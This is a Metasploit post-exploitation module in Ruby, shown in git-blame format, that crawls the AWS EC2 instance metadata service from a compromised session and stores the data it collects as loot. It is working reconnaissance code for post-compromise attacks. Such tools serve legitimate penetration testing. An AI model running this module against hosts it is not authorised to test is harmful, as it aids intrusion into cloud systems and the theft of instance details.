2016-09-30 04:52:22 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2016-09-30 04:52:22 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
class MetasploitModule < Msf::Post
|
|
|
|
def initialize(info = {})
|
|
|
|
super(
|
|
|
|
update_info(
|
|
|
|
info,
|
2016-09-30 13:35:26 +00:00
|
|
|
'Name' => 'Gather AWS EC2 Instance Metadata',
|
2016-09-30 04:59:19 +00:00
|
|
|
'Description' => %q(
|
2016-09-30 04:52:22 +00:00
|
|
|
This module will attempt to connect to the AWS EC2 instance metadata service
|
|
|
|
and crawl and collect all metadata known about the session'd host.
|
2016-09-30 05:00:35 +00:00
|
|
|
),
|
2016-09-30 04:52:22 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [
|
|
|
|
'Jon Hart <jon_hart[at]rapid7.com>' # original metasploit module
|
|
|
|
],
|
|
|
|
# TODO: is there a way to do this on Windows?
|
2016-09-30 13:35:26 +00:00
|
|
|
'Platform' => %w(unix),
|
2016-09-30 04:52:22 +00:00
|
|
|
'SessionTypes' => %w(shell meterpreter),
|
2016-09-30 04:59:19 +00:00
|
|
|
'References' =>
|
2016-09-30 04:52:22 +00:00
|
|
|
[
|
|
|
|
[ 'URL', 'http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html' ]
|
|
|
|
]
|
|
|
|
)
|
|
|
|
)
|
2016-09-30 13:24:50 +00:00
|
|
|
|
2016-09-30 04:52:22 +00:00
|
|
|
register_advanced_options(
|
|
|
|
[
|
2016-09-30 13:35:26 +00:00
|
|
|
OptString.new('TARGETURI', [true, 'AWS EC2 Instance metadata URI', 'http://169.254.169.254/latest/meta-data/'])
|
2016-09-30 04:52:22 +00:00
|
|
|
]
|
|
|
|
)
|
|
|
|
end
|
|
|
|
|
2016-09-30 13:24:50 +00:00
|
|
|
def check_aws_metadata
|
|
|
|
resp = simple_get(@target_uri)
|
2018-08-02 13:55:24 +00:00
|
|
|
unless resp =~ /^instance-id$/
|
2016-09-30 13:24:50 +00:00
|
|
|
fail_with(Failure::BadConfig, "Session does not appear to be on an AWS EC2 instance")
|
2016-09-30 04:52:22 +00:00
|
|
|
end
|
2016-09-30 13:24:50 +00:00
|
|
|
resp
|
2016-09-30 04:52:22 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def check_curl
|
2016-09-30 13:24:50 +00:00
|
|
|
unless cmd_exec("curl --version") =~ /^curl \d/
|
2016-09-30 04:52:22 +00:00
|
|
|
fail_with(Failure::BadConfig, 'curl is not installed')
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_aws_metadata(base_uri, base_resp)
|
|
|
|
r = {}
|
2018-07-30 12:02:15 +00:00
|
|
|
base_resp.split(/\r?\n/).each do |l|
|
|
|
|
new_uri = "#{base_uri}#{l}"
|
2018-07-30 08:48:32 +00:00
|
|
|
if l =~ %r{/$}
|
2016-09-30 04:52:22 +00:00
|
|
|
# handle a directory
|
2018-07-30 08:48:32 +00:00
|
|
|
r[l.gsub(%r{/$}, '')] = get_aws_metadata(new_uri, simple_get(new_uri))
|
|
|
|
elsif new_uri.to_s =~ %r{/public-keys/} && /^(?<key_id>\d+)=/ =~ l
|
2016-09-30 04:52:22 +00:00
|
|
|
# special case handling of the public-keys endpoint
|
2018-07-30 13:07:55 +00:00
|
|
|
new_uri = new_uri.slice(0..(new_uri.index(%r{/public-keys/})+'/public-keys'.length))
|
|
|
|
key_uri = "#{new_uri}#{key_id}/"
|
|
|
|
key_resp = simple_get(key_uri)
|
2016-09-30 04:52:22 +00:00
|
|
|
r[key_id] = get_aws_metadata(key_uri, key_resp)
|
|
|
|
else
|
|
|
|
r[l] = simple_get(new_uri)
|
|
|
|
end
|
|
|
|
end
|
|
|
|
r
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
check_curl
|
|
|
|
resp = check_aws_metadata
|
2016-09-30 13:42:22 +00:00
|
|
|
|
|
|
|
print_status("Gathering AWS EC2 instance metadata")
|
2016-09-30 13:24:50 +00:00
|
|
|
metadata = get_aws_metadata(@target_uri, resp)
|
2016-09-30 13:42:22 +00:00
|
|
|
|
2016-09-30 04:59:19 +00:00
|
|
|
metadata_json = JSON.pretty_generate(metadata)
|
2016-09-30 04:52:22 +00:00
|
|
|
file = store_loot("aws.ec2.instance.metadata", "text/json", session, metadata_json, "aws_ec2_instance_metadata.json", "AWS EC2 Instance Metadata")
|
2016-09-30 13:42:22 +00:00
|
|
|
|
2016-09-30 04:52:22 +00:00
|
|
|
if datastore['VERBOSE']
|
|
|
|
vprint_good("AWS EC2 instance metadata")
|
|
|
|
print_line(metadata_json)
|
|
|
|
end
|
|
|
|
print_good("Saved AWS EC2 instance metadata to to #{file}")
|
|
|
|
end
|
2016-09-30 13:24:50 +00:00
|
|
|
|
|
|
|
def setup
|
|
|
|
begin
|
|
|
|
@target_uri ||= URI(datastore['TARGETURI'])
|
|
|
|
rescue ::URI::InvalidURIError
|
|
|
|
fail_with(Failure::BadConfig, "Invalid TARGETURI: #{datastore['TARGETURI']}")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def simple_get(url)
|
|
|
|
vprint_status("Fetching #{url}")
|
2018-07-30 12:02:15 +00:00
|
|
|
cmd_exec("curl -s #{url}")
|
2016-09-30 13:24:50 +00:00
|
|
|
end
|
2016-09-30 04:52:22 +00:00
|
|
|
end
|